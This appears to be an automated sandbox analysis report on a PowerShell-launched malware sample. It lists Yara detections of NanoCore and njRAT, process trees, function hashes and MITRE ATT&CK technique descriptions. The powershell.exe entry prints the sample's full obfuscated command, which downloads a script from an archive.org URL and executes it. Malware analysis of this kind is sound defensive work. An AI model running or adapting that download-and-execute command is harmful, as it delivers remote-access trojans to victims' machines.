Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.652005586.000002534BC55000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.651067855.000002534BC5B000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.652059892.000002534D420000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 6756 Parent PID: 6628

General

Start time:	20:39:11
Start date:	03/08/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6772 Parent PID: 6756

General

Start time:	20:39:11
Start date:	03/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: aspnet_compiler.exe PID: 6900 Parent PID: 6756

General

Start time:	20:41:43
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Imagebase:	0x230000
File size:	55400 bytes
MD5 hash:	17CC69238395DF61AAF483BCEF02E7C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: aspnet_compiler.exe PID: 7072 Parent PID: 6756

General

Start time:	20:41:44
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Imagebase:	0x4f0000
File size:	55400 bytes
MD5 hash:	17CC69238395DF61AAF483BCEF02E7C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: NanoCore, Description: unknown, Source: 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	moderate

Chronological Activities

Analysis Process: aspnet_compiler.exe PID: 6664 Parent PID: 6756

General

Start time:	20:42:58
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Imagebase:	0x130000
File size:	55400 bytes
MD5 hash:	17CC69238395DF61AAF483BCEF02E7C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: aspnet_compiler.exe PID: 5596 Parent PID: 6756

General

Start time:	20:42:59
Start date:	03/08/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Imagebase:	0xa10000
File size:	55400 bytes
MD5 hash:	17CC69238395DF61AAF483BCEF02E7C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Njrat, Description: detect njRAT in memory, Source: 00000016.00000002.1171008020.0000000000402000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: aspnet_compiler.exe PID: 7072 Parent PID: 6756 aspnet_compiler.exeCOMMON

Executed Functions

Function 00D2B6C0, Relevance: 6.1, APIs: 4, Instructions: 125threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00D2B730
GetCurrentThread.KERNEL32 ref: 00D2B76D
GetCurrentProcess.KERNEL32 ref: 00D2B7AA
GetCurrentThreadId.KERNEL32 ref: 00D2B803

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0a876694819d4a5fbf022997c72dbd9ff694a98e8d4cc09aa6245504376a94d2
Instruction ID: d271ba3430dd5b8f540856f87ffea7cb250108f62d171324008f919211e4f51c
Opcode Fuzzy Hash: 0a876694819d4a5fbf022997c72dbd9ff694a98e8d4cc09aa6245504376a94d2
Instruction Fuzzy Hash: 875196B49007588FDB10CFA9D5887DEBBF1AF88318F24855AE419A77A0C7B45848CF72

Uniqueness

Uniqueness Score: -1.00%

Function 00D2B6D0, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00D2B730
GetCurrentThread.KERNEL32 ref: 00D2B76D
GetCurrentProcess.KERNEL32 ref: 00D2B7AA
GetCurrentThreadId.KERNEL32 ref: 00D2B803

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4e24ff33b47771d45a702e2ade0ad66299a45089383f5e014b7273ff9d776315
Instruction ID: 6dea9417dce7b6595f8698f79e815c15b7c37399e47f6b50f651e7d9ff3bd6dd
Opcode Fuzzy Hash: 4e24ff33b47771d45a702e2ade0ad66299a45089383f5e014b7273ff9d776315
Instruction Fuzzy Hash: 135166B49007588FDB10CFAAD988BDEBBF0AF88318F24855AE419A7360D7B45944CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D293E8, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00D2962E

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4011b3068f4cca97ad796d02761558d07400ece24b711f34bc5536a25e97c4f3
Instruction ID: 748110f842d5563b562231aab1e8b08acd5c7975abba23ef89e8babebc2530d7
Opcode Fuzzy Hash: 4011b3068f4cca97ad796d02761558d07400ece24b711f34bc5536a25e97c4f3
Instruction Fuzzy Hash: 787125B0A00B158FDB64DF29D45179AB7F1BF88308F148A2DD48AD7B50DB34E806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FBEC, Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00D2FD0A

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3942e31a16b8f0b45b002979bd02089196cb8aaca6c0344cdf089ab9eb12239f
Instruction ID: 7099d3f1b801d44a1dd77e3c64368f9d60805eb071e9b9faaf85bac8ebaf994e
Opcode Fuzzy Hash: 3942e31a16b8f0b45b002979bd02089196cb8aaca6c0344cdf089ab9eb12239f
Instruction Fuzzy Hash: D751A0B1D00219DFDF14CFA9D884ADEBBB5FF48314F64852AE819AB210D7749986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FBF8, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00D2FD0A

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 99dd8d29c8afa18d6db9aa6483f716be8db231a5e8f8a67702e48f931b695085
Instruction ID: 00051f5d54b077bd045712e020d0de3e60b19e6cced34bb839a2180ffd8a73b5
Opcode Fuzzy Hash: 99dd8d29c8afa18d6db9aa6483f716be8db231a5e8f8a67702e48f931b695085
Instruction Fuzzy Hash: 8741B0B1D00319DFDF14CFA9D884ADEBBB5BF48314F64852AE819AB210D7749985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BCF9, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00D2BD87

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2f2699faaff194ab12b57a896097f18818c8491907e6788f01b813db8e0dabaf
Instruction ID: a8d7ba2b8e5764a322bb6aed490de840dd83982d94b76bfcca910a8dbcd1032c
Opcode Fuzzy Hash: 2f2699faaff194ab12b57a896097f18818c8491907e6788f01b813db8e0dabaf
Instruction Fuzzy Hash: 9F21E4B6900608DFDF10CFA9D484BDEBBF5EB48324F14801AE955A3750C378A955CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BD00, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00D2BD87

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0f4c78d43335e740fe0585096e7947710c1998efced9d3f572e25fe119f40145
Instruction ID: 46b8255f5dcddbdb23a96ecb72535026881c5e00c6c07870be2f2df06ee4f98d
Opcode Fuzzy Hash: 0f4c78d43335e740fe0585096e7947710c1998efced9d3f572e25fe119f40145
Instruction Fuzzy Hash: 3C21F5B5900208DFDB10CF9AD884BDEBBF8FB48324F14801AE915A3710C374A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D28768, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00D296A9,00000800,00000000,00000000), ref: 00D298BA

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 75a8cbca9188ee20d06966d7bab5eb7de382cdc09b9bf912eb1694b071622f1b
Instruction ID: 83618824b4e5c80923329f524d0da5e19a0be1c4ac138f7a71aac1ec123f6e84
Opcode Fuzzy Hash: 75a8cbca9188ee20d06966d7bab5eb7de382cdc09b9bf912eb1694b071622f1b
Instruction Fuzzy Hash: 731133B68002088FCB10CF9AD444BDEFBF4EB48324F04842EE819A7700C374A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D29849, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00D296A9,00000800,00000000,00000000), ref: 00D298BA

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e3e0ac88c0e557f8bf9c99f4638b9e6fbe5b5f482801e0c5b36d33b2da400021
Instruction ID: 7606aa33a69487473d7dabbe29474d5f9afa6ad5dc82a39ba7d700b211c3d409
Opcode Fuzzy Hash: e3e0ac88c0e557f8bf9c99f4638b9e6fbe5b5f482801e0c5b36d33b2da400021
Instruction Fuzzy Hash: 401114B6D002098FDB10CFA9D484BDEFBF5AB48314F04842AD415A7710C374A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FE38, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 00D2FE9D

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: b0900be9a4edeba2ce4d6ac7eb5129ff192cb9b81c20bae0d63c465c38e26ce2
Instruction ID: e18f05b0994e0d62770dc4e066483e770c9a630434d46c86752b614f2a134fdc
Opcode Fuzzy Hash: b0900be9a4edeba2ce4d6ac7eb5129ff192cb9b81c20bae0d63c465c38e26ce2
Instruction Fuzzy Hash: 6E1118B58002099FDB10CF99D485BDEFBF8EB48324F14852AE855B7751C374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D295C8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00D2962E

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0bef8b4c27cc1568cb524d842d610a7e7328f74ff93d5616bc1d5970c9374ed9
Instruction ID: 1409fcd07d7edb22a309eca9563f9704eb5e0c2313de28808e08e76d9ba4b347
Opcode Fuzzy Hash: 0bef8b4c27cc1568cb524d842d610a7e7328f74ff93d5616bc1d5970c9374ed9
Instruction Fuzzy Hash: E211E0B6C006598FCB20CF9AD444BDEFBF4AB88324F14852AD429B7710C374A946CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D2FE40, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 00D2FE9D

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f8eae190d70fc68aa7ca39d8a00c8ed505093a660f041b76369fa69ded612074
Instruction ID: 438c0e7422f5f60383900104cd934a6d4c334b52f83d2ecc3d8e77930fc857e0
Opcode Fuzzy Hash: f8eae190d70fc68aa7ca39d8a00c8ed505093a660f041b76369fa69ded612074
Instruction Fuzzy Hash: 431112B58002089FDB10CF9AD485BDEBBF8EB48324F10842AE819A3750C374AA44CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD4A0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172278622.0000000000CAD000.00000040.00000001.sdmp, Offset: 00CAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1dac4bb64851677f1fe3481d58c89d1b5a0cffe4af27078b280d42311e6cb1
Instruction ID: 6224dddcb3488f2913104bf3bc7e7beec9530559ea5295889b1b5a41f43feb32
Opcode Fuzzy Hash: bd1dac4bb64851677f1fe3481d58c89d1b5a0cffe4af27078b280d42311e6cb1
Instruction Fuzzy Hash: 042137B1904241DFDB15CF14D8C0B66BF65FB8932CF248569E80B0BA56C336E945DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD3B4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172278622.0000000000CAD000.00000040.00000001.sdmp, Offset: 00CAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8473062ba38260456d5178b4d0ce2df768324a95683746b50ae84c05cca9e965
Instruction ID: fd93e484441a6523868c79209c70891c8b8f2029a6a53661df38dbe71af0ebd1
Opcode Fuzzy Hash: 8473062ba38260456d5178b4d0ce2df768324a95683746b50ae84c05cca9e965
Instruction Fuzzy Hash: 7D2125B1504241EFDB00CF10D8C0B56BB75FB89328F24C569E80B0BA56C336E946DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CBD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172330687.0000000000CBD000.00000040.00000001.sdmp, Offset: 00CBD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64019a7361def1de53162c1f44639c36735713ea27ec24c209997cbf92b96348
Instruction ID: 76b830373c05cf31332aa416a29920136266924980a430e9e83aed2ecb9c079c
Opcode Fuzzy Hash: 64019a7361def1de53162c1f44639c36735713ea27ec24c209997cbf92b96348
Instruction Fuzzy Hash: DD21D475504240EFDB14EF14E9C4B56BB65FB88324F24C9A9E80A4B746D33AD847CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CBD005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172330687.0000000000CBD000.00000040.00000001.sdmp, Offset: 00CBD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a47eb8dc128383504e2f87967a5455030817b81b3675c04e975da985eccef3
Instruction ID: 20c73bb8d4accf46a140ac68581db01d8c684ebde191d1619c6d35bd769ddcc5
Opcode Fuzzy Hash: 00a47eb8dc128383504e2f87967a5455030817b81b3675c04e975da985eccef3
Instruction Fuzzy Hash: 86219D755093C08FCB12CF20D990B55BF71EB46314F28C5EBD8498B6A7C33A990ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD49B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172278622.0000000000CAD000.00000040.00000001.sdmp, Offset: 00CAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860f6c0f5fc9d4a39434b670546c02b59a96a022c4d032f434f9580581cd02a8
Instruction ID: 21869b0cb2a9ca2487619edb709c684610d5a7341bbde7308b790864cc63baef
Opcode Fuzzy Hash: 860f6c0f5fc9d4a39434b670546c02b59a96a022c4d032f434f9580581cd02a8
Instruction Fuzzy Hash: FA11E6B6804280DFCF12CF14D5C4B16BF71FB85328F24C6A9D8060BA56C336D956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CAD3AF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172278622.0000000000CAD000.00000040.00000001.sdmp, Offset: 00CAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860f6c0f5fc9d4a39434b670546c02b59a96a022c4d032f434f9580581cd02a8
Instruction ID: 48367a9e00bde62266a3887cd2de310705a30d658e40d0406ff5d2d0f1b7e605
Opcode Fuzzy Hash: 860f6c0f5fc9d4a39434b670546c02b59a96a022c4d032f434f9580581cd02a8
Instruction Fuzzy Hash: 4511E676404280DFCF11CF10D5C4B16BF71FB99324F24C6A9D84A0BA56C336E956CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D2E480, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c6ce9cb6d1ae19d2d3eb8dde6d4e60508db0e82949339ebd9db5563ee6244f
Instruction ID: fa494e3406a0b009553a2ee3ed96562c462d113e5440a3f180035a76a1997fdf
Opcode Fuzzy Hash: d7c6ce9cb6d1ae19d2d3eb8dde6d4e60508db0e82949339ebd9db5563ee6244f
Instruction Fuzzy Hash: 6412C6B1611F46CBD710CF65FC9838A3B60B745328B904308DA699BBF9D7B8254ACF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BBD4, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0590a373d0e25fd74cf98044470b947d61982c17c53f867aff7394cd24492bf9
Instruction ID: 598b74f8519a4e90ff8a621ea05860777da5839fd64e3e9478ff81a68d985ffa
Opcode Fuzzy Hash: 0590a373d0e25fd74cf98044470b947d61982c17c53f867aff7394cd24492bf9
Instruction Fuzzy Hash: 56A19E32E0062A8FCF15DFB5D8445DDBBB7FF95304B15816AE805AB221EB71E905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D2E471, Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1172720248.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028b5dfc2dea2982a09bc1fdda8483d07f49eadc904ffd8f1aea56d88eaa45b5
Instruction ID: 511f5a7f4810813a49606146bdf80ddefbb804242b0e2ffe971e8185d6563f75
Opcode Fuzzy Hash: 028b5dfc2dea2982a09bc1fdda8483d07f49eadc904ffd8f1aea56d88eaa45b5
Instruction Fuzzy Hash: 49C11AB1A11B468BD710CF65FC8838A3B71BB85328F504308D969AB7F9D7B82546CF64

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aspnet_compiler.exe PID: 5596 Parent PID: 6756 aspnet_compiler.exeCOMMON

Executed Functions

Function 01338DD3, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01338E5F

Memory Dump Source

Source File: 00000016.00000002.1172961867.0000000001330000.00000040.00000001.sdmp, Offset: 01330000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 10ef5a15ac0c60ae4ea535caab688a188a9a58a811ad3fbef1ebe2ccbb264b71
Instruction ID: 614e935784ed04ed17d843e2db05c58d1ce6c4ca39777307c39dff5784e96e8e
Opcode Fuzzy Hash: 10ef5a15ac0c60ae4ea535caab688a188a9a58a811ad3fbef1ebe2ccbb264b71
Instruction Fuzzy Hash: B421C6B5900208AFDB10CFA9D884ADEBBF8EB48324F14851AF914A3750D374A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01338DD8, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01338E5F

Memory Dump Source

Source File: 00000016.00000002.1172961867.0000000001330000.00000040.00000001.sdmp, Offset: 01330000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c72790901248f26049f6e6241c3373a0bc2342bedb05fd6447771b98a39e14aa
Instruction ID: 98e3304f9cf98c3cf84daacb8e7bcd8d867f3af5a090ab3ecdf828ed5c7af9fe
Opcode Fuzzy Hash: c72790901248f26049f6e6241c3373a0bc2342bedb05fd6447771b98a39e14aa
Instruction Fuzzy Hash: 0121D8B5900208AFDB10CF99D884ADEFBF8FB48324F14851AF914A3750D374A944CF65

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

